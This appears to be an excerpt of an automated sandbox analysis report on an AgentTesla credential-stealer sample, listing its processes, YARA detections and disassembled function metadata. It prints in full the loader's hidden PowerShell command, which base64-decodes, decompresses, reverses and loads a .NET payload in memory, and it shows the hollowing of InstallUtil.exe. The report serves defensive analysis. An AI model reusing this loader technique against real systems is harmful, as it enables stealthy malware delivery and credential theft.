Show Windows behavior

Target ID:	15
Start time:	01:28:09
Start date:	03/11/2024
Path:	C:\Users\user\AppData\Roaming\IV.bat.Usq
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\IV.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\AppData\Roaming\IV.bat' \| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)\| Out-Null"
Imagebase:	0xf70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.1839930699.0000000004FB9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.1911240345.0000000009096000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:28:11
Start date:	03/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x840000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.4154044775.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.4154044775.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.4154044775.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000011.00000002.4154044775.0000000002AFD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	92.6%
Signature Coverage:	11.1%
Total number of Nodes:	54
Total number of Limit Nodes:	2

Executed Functions

Function 08E1C2B0 Relevance: 16.2, Strings: 12, Instructions: 1179COMMON

Download Yara Rule

Strings

$tq, xrefs: 08E1C7B7
$tq, xrefs: 08E1C543
$tq, xrefs: 08E1CBDA
4, xrefs: 08E1CC85
$tq, xrefs: 08E1C6F7
$tq, xrefs: 08E1C7A7
$tq, xrefs: 08E1C533
,xq, xrefs: 08E1CD6A
$tq, xrefs: 08E1C707
$tq, xrefs: 08E1CB81
$tq, xrefs: 08E1CB91
$tq, xrefs: 08E1CBEA

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: ,xq$4$$tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-1905337181
Opcode ID: 803763c73b9f7ed0d3834ab1b42f3e54d0377ce777f54b35292ac4bc61284ef2
Instruction ID: 3e4b26058ca9b1b28dcdc0a620402ec7980c2213600aadfb60c0a2db61697ac5
Opcode Fuzzy Hash: 803763c73b9f7ed0d3834ab1b42f3e54d0377ce777f54b35292ac4bc61284ef2
Instruction Fuzzy Hash: DDB2F535A40218CFDB14CFA9C894BADB7B6FB88705F259199E505EB2A5CB70EC81CF50

Function 08E1C5D7 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$tq, xrefs: 08E1CBDA
4, xrefs: 08E1CC85
$tq, xrefs: 08E1C6F7
$tq, xrefs: 08E1C7A7
,xq, xrefs: 08E1CD6A
$tq, xrefs: 08E1CB81

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: ,xq$4$$tq$$tq$$tq$$tq
API String ID: 0-633287245
Opcode ID: ef412ca2972d7aec679cd27cc597e8e124aebc55115e1b470881a5f60831f38d
Instruction ID: c2941eccc4046949b9d7b5e31c6384ed58610aa70908c1ee20cd07dd12b7de11
Opcode Fuzzy Hash: ef412ca2972d7aec679cd27cc597e8e124aebc55115e1b470881a5f60831f38d
Instruction Fuzzy Hash: A1220635A40218CFDB24CFA5C984BADB7B2FF48705F149199E509EB2A5DB70AD82CF50

Function 08E1F7EB Relevance: 3.2, Strings: 2, Instructions: 703
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pltq, xrefs: 08E1F957
$tq, xrefs: 08E1FA3E

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: Pltq$$tq
API String ID: 0-3878495711
Opcode ID: 86efdccfe49535ff8d87b494ba86b3df78910197ed9a9f350b36d836d4db3048
Instruction ID: af0238e2677d85acc9dc2602863cc145371947fa008bec93828d1b8b8d56f9ee
Opcode Fuzzy Hash: 86efdccfe49535ff8d87b494ba86b3df78910197ed9a9f350b36d836d4db3048
Instruction Fuzzy Hash: FE225A75740208CFCF14DF29C594A6AB7E2BF89316B1594A9E406CB3A6DF31EC42CB91

Function 08E21DF8 Relevance: 3.1, Strings: 2, Instructions: 631
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 08E21EF5
fyq, xrefs: 08E21F08

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: fyq$8
API String ID: 0-988975665
Opcode ID: 31f77e75eb8f332794d0639c55a12c33a99a0d1501c71f5354c807d2d0aa872c
Instruction ID: 52902f4947230277e41fd148ee3ca3bd5b1facf6df79256127ba2fe5b041fbc8
Opcode Fuzzy Hash: 31f77e75eb8f332794d0639c55a12c33a99a0d1501c71f5354c807d2d0aa872c
Instruction Fuzzy Hash: F762E875E00629CFDB64DF69D850AD9BBB2FB89301F1081EAD509A7340DB70AE85CF50

Function 08E17F79 Relevance: 2.9, Strings: 2, Instructions: 402
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tetq, xrefs: 08E1816B
Tetq, xrefs: 08E18280

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: Tetq$Tetq
API String ID: 0-3683018229
Opcode ID: c166a1958971543551286fcb35e3a047ea0105f5f50f2c0f88f2b3a8eb1fe9db
Instruction ID: 9d90593378ce7f9dc55baac1aa9c7b9f452af932e098984f3b9c9cfb8e7522ce
Opcode Fuzzy Hash: c166a1958971543551286fcb35e3a047ea0105f5f50f2c0f88f2b3a8eb1fe9db
Instruction Fuzzy Hash: DF1205B4A05228CFEB64CF68D884BADBBF2FB49305F1091AAD409A7745DB709D85CF11

Function 08E25910 Relevance: 1.6, APIs: 1, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 08E259CD

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 84fec02da9124c86e983412884a9512808b131a493f796c8be79f35cf8346799
Instruction ID: 5ae69943adb9eaaad7c2acd7f39ce7ac61c54e914cf4ed013561ea798c76be90
Opcode Fuzzy Hash: 84fec02da9124c86e983412884a9512808b131a493f796c8be79f35cf8346799
Instruction Fuzzy Hash: D041A9B9D00258DFCF10CFA9D980ADEFBB5BB59320F14A42AE818B7210D735A941CF54

Function 08E25918 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 08E259CD

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 78024ed238503804ce1c4a64df7ea0bcb5c26e261f892ff483b319ce1cdd5830
Instruction ID: 7f22ae491e78ad9097af7cc72488ad6c4d8672b16c810d61e3948a528bc62b0b
Opcode Fuzzy Hash: 78024ed238503804ce1c4a64df7ea0bcb5c26e261f892ff483b319ce1cdd5830
Instruction Fuzzy Hash: 714199B5D00258DFCF10CFAAD980ADEFBB5BB59320F14A42AE819B7210D735A941CF64

Function 08E26D90 Relevance: 1.6, APIs: 1, Instructions: 83nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 08E26E26

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d20956a06ab85b47ba87cb453c69bc008206988f719eb8e0d1886af067f83e58
Instruction ID: 8eba76a80e13decd9f1b920925d218457c12d9c885a3d906aa989160de277623
Opcode Fuzzy Hash: d20956a06ab85b47ba87cb453c69bc008206988f719eb8e0d1886af067f83e58
Instruction Fuzzy Hash: 1331B8B5D012589FCB10CFA9E984AAEFBF1BB58320F14942AE818B7210C735A905CF94

Function 08E26D98 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 08E26E26

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f1b1e5864d8506da4a4078294db09db08e053332975eaedd79c32e48d1bab627
Instruction ID: dbed47af670c835fa7faa8569757065f1065315b6f46cb3c628cc4ee74b3751a
Opcode Fuzzy Hash: f1b1e5864d8506da4a4078294db09db08e053332975eaedd79c32e48d1bab627
Instruction Fuzzy Hash: D931A8B5D01258DFCF10CFAAD980AAEFBF5BB59320F14942AE818B7210C775A945CF94

Function 0A1AEFA0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

D{q, xrefs: 0A1AF0A5

Memory Dump Source

Source File: 00000006.00000002.1721722215.000000000A190000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a190000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: D{q
API String ID: 0-3973147599
Opcode ID: 59ad073c06e88b46e2533ef64100aa54ec15d44922ea9c3433977808593fc9cd
Instruction ID: 785407368e7aa7a9471f4d9e8d092ce138af651dfaf3711438354ea5a3c1fb63
Opcode Fuzzy Hash: 59ad073c06e88b46e2533ef64100aa54ec15d44922ea9c3433977808593fc9cd
Instruction Fuzzy Hash: 84D1A574E10218CFDB58DFA9D994A9DBBB2FF49300F1081AAD409AB365DB31AD85CF50

Function 08E2A2B0 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 467d2f706b5cc0c8d9c7d80d07a4cae29d4f0e31b8de1805d4304c000beb3f8b
Instruction ID: 36019f5d2c649e6502af341927cedf78513a479280f254e0ea8d84697df76a8d
Opcode Fuzzy Hash: 467d2f706b5cc0c8d9c7d80d07a4cae29d4f0e31b8de1805d4304c000beb3f8b
Instruction Fuzzy Hash: D3F1E674A04228CFEB54DF28D994BEEBBB2EB89305F1091AAD40EA7355DB305D85CF41

Function 08E2A2A2 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6c64d7ef5964dc5aaa3d55f26533190c523e660ed15df1e525da1c04c89d6d5
Instruction ID: 71405fff89f590a038db5dba73bcb0fda25fb5aaaafe4088d431603c81236db1
Opcode Fuzzy Hash: a6c64d7ef5964dc5aaa3d55f26533190c523e660ed15df1e525da1c04c89d6d5
Instruction Fuzzy Hash: 23F1FA74A04228CFEB54DF28D994BEEBBB2FB89305F1091AAD409A7355DB305D85CF41

Function 08E29C27 Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad63c9fd691172975d91285f681bb03db08f1fdb1c2273935bd25eb4ffe99a10
Instruction ID: c4ce35df95d24453152ad3b5acb7ad66c03978d9f56a08b221e9a43ff65f48a0
Opcode Fuzzy Hash: ad63c9fd691172975d91285f681bb03db08f1fdb1c2273935bd25eb4ffe99a10
Instruction Fuzzy Hash: F6913775E04258CFEB14EF69D484BA9BBF6FB4A305F10A1AAD409A7392DB309945CF01

Function 046ACB14 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c37650eafbb92a2eadbcb14f3983796bf58c2042c25c4997cc7d52b8cb2a9536
Instruction ID: 46ae952e563515ee2676bdb3b6c729d3479d523aec35660b9684d4ce3e51ca64
Opcode Fuzzy Hash: c37650eafbb92a2eadbcb14f3983796bf58c2042c25c4997cc7d52b8cb2a9536
Instruction Fuzzy Hash: 97415970E01909CFE714CF2AC949BA9BBB2FB98300F5484A6D00997750FB756DA6DF40

Function 046ACB42 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1691066899.00000000046A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 046A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f4c29e3ecba3945de5afdf5038b5abf06230c3674a0832ee331e6ced24e9875
Instruction ID: dbf6bbb6103381fad8daffaa4b7613e065181c76b193286302cf134184b66870
Opcode Fuzzy Hash: 8f4c29e3ecba3945de5afdf5038b5abf06230c3674a0832ee331e6ced24e9875
Instruction Fuzzy Hash: 18412770A01909CFEB64CF2AC949BA9BBF2FB58300F5484A6D00997750FB756DA6DF40

Function 073B1B87 Relevance: 9.1, Strings: 7, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'tq, xrefs: 073B1CC5
jjj, xrefs: 073B20AA
$tq, xrefs: 073B1E3A
$tq, xrefs: 073B207F
tPtq, xrefs: 073B1FCC
4'tq, xrefs: 073B1CBB
tPtq, xrefs: 073B1ECF

Memory Dump Source

Source File: 00000006.00000002.1711076388.00000000073B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73b0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$jjj$tPtq$tPtq$$tq$$tq
API String ID: 0-2485337986
Opcode ID: 9756ee578c115afb707ed9b69a64363f08b8c716f2a80842f156d62c88677481
Instruction ID: eeba31781ecc2e929a293479bc0ff231464d95edeb903884c9216db9e239b31b
Opcode Fuzzy Hash: 9756ee578c115afb707ed9b69a64363f08b8c716f2a80842f156d62c88677481
Instruction Fuzzy Hash: 41C1F5F1B0420EDFEB34CF55C954AEABBA2AF86300F148569EA095FA51C731DC41CB91

Function 073B0C20 Relevance: 6.5, Strings: 5, Instructions: 212
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XXtq, xrefs: 073B0D8A
XXtq, xrefs: 073B0D96
XXtq, xrefs: 073B0E07
Tetq, xrefs: 073B0D48
XXtq, xrefs: 073B0E13

Memory Dump Source

Source File: 00000006.00000002.1711076388.00000000073B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73b0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: Tetq$XXtq$XXtq$XXtq$XXtq
API String ID: 0-1375065459
Opcode ID: f56c5da6047551837f90337861987332cef24f0027fa42ab61a747ea37fe2069
Instruction ID: 32df8d17bcff13aac5c4e2f2ec8160b263ebc2f669acb0fffd5e9e37be482253
Opcode Fuzzy Hash: f56c5da6047551837f90337861987332cef24f0027fa42ab61a747ea37fe2069
Instruction Fuzzy Hash: 43617CB17142099FEB385AB484106BBBBA65FC5300F54446ADA49CFB91DF36DC41C7B1

Function 073B3F88 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4'tq, xrefs: 073B4739
4'tq, xrefs: 073B4749

Memory Dump Source

Source File: 00000006.00000002.1711076388.00000000073B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73b0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq
API String ID: 0-2758119276
Opcode ID: 2585cc84e0bbbaf29f1f374dbee39e5a9ec804f3b5b144d67bb58e0b664fc81f
Instruction ID: 86c92b68c85e6682108d03ee092f6a788473a7200913eefb1f6c72901ed5f399
Opcode Fuzzy Hash: 2585cc84e0bbbaf29f1f374dbee39e5a9ec804f3b5b144d67bb58e0b664fc81f
Instruction Fuzzy Hash: 794209F4E0425EDFEF24DB98D4846EEB7B5FB89300F108029D61AABA45D7345882CF55

Function 073B4AB0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'tq, xrefs: 073B4F46
4'tq, xrefs: 073B4F56

Memory Dump Source

Source File: 00000006.00000002.1711076388.00000000073B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73b0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq
API String ID: 0-2758119276
Opcode ID: 995afbadec5f12828200ad3acf9a66471abdde09ebef51e224d746f71c242b69
Instruction ID: 14bb5056faa826bc384dffd520e12207db9b638015a54b441cb3720bdbb2ac61
Opcode Fuzzy Hash: 995afbadec5f12828200ad3acf9a66471abdde09ebef51e224d746f71c242b69
Instruction Fuzzy Hash: 36F112B4D01249EFEB28DFA4E5886ECBBB6FF49305F204129E50AA7752CB355881CF45

Function 08E1DA50 Relevance: 2.7, Strings: 2, Instructions: 178
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hxq, xrefs: 08E1DBE5
(xq, xrefs: 08E1DB56

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: (xq$Hxq
API String ID: 0-2063367383
Opcode ID: e480a5b4904bdad9d621c2ede61888b68bc8dd997acc3b7136024c5550684f16
Instruction ID: dce50a51baf20d89132eb146ce25bc1f9d37dbf4480925333436f001b1584417
Opcode Fuzzy Hash: e480a5b4904bdad9d621c2ede61888b68bc8dd997acc3b7136024c5550684f16
Instruction Fuzzy Hash: 4F51BE317002108FCB19AF78C85466E7BA3EFC5351B21456CD4069B3A1CF35EC02CBA5

Function 073B0DA4 Relevance: 2.5, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

XXtq, xrefs: 073B0E07
XXtq, xrefs: 073B0DC5

Memory Dump Source

Source File: 00000006.00000002.1711076388.00000000073B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_73b0000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: XXtq$XXtq
API String ID: 0-1159665974
Opcode ID: 14fb95a6a5fe45efb138eabc88fc762b598c54e5141871198ed71a6111299207
Instruction ID: dfe1a37403419c4e52798eaf5e0e10c985adb51f33ba5408c95b1813dbc729d7
Opcode Fuzzy Hash: 14fb95a6a5fe45efb138eabc88fc762b598c54e5141871198ed71a6111299207
Instruction Fuzzy Hash: 0E0128B07001089BEB249794D500BAEFBA6FB88340B508525EA095FB51CB32DC51CBE1

Function 08E1413A Relevance: 2.5, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

O, xrefs: 08E140FC
-, xrefs: 08E1414B

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: -$O
API String ID: 0-3630149894
Opcode ID: 654bdb3f2dbedddaaa09169b6c9d812c6a739aea23f680bb3745b7d2f6c003c1
Instruction ID: 2b722e1108f114603f8bcb86fc2ddd180a7c1d3ac8d2e6f9f98dc4bf2aeb014c
Opcode Fuzzy Hash: 654bdb3f2dbedddaaa09169b6c9d812c6a739aea23f680bb3745b7d2f6c003c1
Instruction Fuzzy Hash: E411A774A016188FDB64DF28D8447D9BBF1BF4A305F0051EAD449AB391DB345E84CF42

Function 08E1EFD8 Relevance: 1.8, Strings: 1, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(_tq, xrefs: 08E1F265

Memory Dump Source

Source File: 00000006.00000002.1716429445.0000000008E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e10000_PRODUCT-PICTURE.jbxd

Similarity

API ID:
String ID: (_tq
API String ID: 0-1332988952
Opcode ID: c5691d03350b8884f94095a071bef43edfa732346b67f1a9a36908b81e1bb2fa
Instruction ID: 6e0e5614af64903eb7322117e613aab23be2c580656784ffc60ae6981e6609df
Opcode Fuzzy Hash: c5691d03350b8884f94095a071bef43edfa732346b67f1a9a36908b81e1bb2fa
Instruction Fuzzy Hash: EE228B76B002059FCB04DFA8D494AADBBB2FF88315F159169E905EB3A5DB31EC41CB90

Function 08E260FD Relevance: 1.8, APIs: 1, Instructions: 262
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 08E2636F

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 539203ebca5ad807974708e7b44e12172616bdb15e612abe184b27e77eba1f96
Instruction ID: 05b5b31d5c95de15fa3091992c705e85929a3d8cf5c41dd19c14acf32c901dda
Opcode Fuzzy Hash: 539203ebca5ad807974708e7b44e12172616bdb15e612abe184b27e77eba1f96
Instruction Fuzzy Hash: 7CA133B1D00228CFDF20CFA9C845BEDBBB1BB59315F14A269E858A7290DB749985CF41

Function 08E26108 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 08E2636F

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e8bece88636f7ef23609e20b5a5eb55ce595f9549db33a13ca4ff4d58e7e069b
Instruction ID: f5946af6bc0542e8cb836b877614224542b7d6f613b3e53fdd7ddc50361b51b9
Opcode Fuzzy Hash: e8bece88636f7ef23609e20b5a5eb55ce595f9549db33a13ca4ff4d58e7e069b
Instruction Fuzzy Hash: 66A123B2D00228CFDF20CFA9C8457EDBBF1BB19315F14A269E858A7290DB749985CF45

Function 08E288EC Relevance: 1.7, APIs: 1, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileA.KERNEL32(?,?,?), ref: 08E28A73

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 35910e830e4ab562be794079023fce031697995e3465eddf9b66316a741d62a6
Instruction ID: 8b651b5b9d2814eb073e61935105b811935f4a54b3a2be1a88cccec2cefd5662
Opcode Fuzzy Hash: 35910e830e4ab562be794079023fce031697995e3465eddf9b66316a741d62a6
Instruction Fuzzy Hash: 3D6154B1D00368CFDB14DFA9C8457EDBBF1BB48315F14A529E858AB280DB748985CF45

Function 08E288F8 Relevance: 1.7, APIs: 1, Instructions: 169fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,?), ref: 08E28A73

Memory Dump Source

Source File: 00000006.00000002.1716502075.0000000008E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e20000_PRODUCT-PICTURE.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 5830b89c9ede2f20dcdedbe6daae1514d8edb2260983e288efb6879d09272443
Instruction ID: 93210de91e7271820c76d8336c0216e9a018cec366a56159d5fac30c445bab7d
Opcode Fuzzy Hash: 5830b89c9ede2f20dcdedbe6daae1514d8edb2260983e288efb6879d09272443
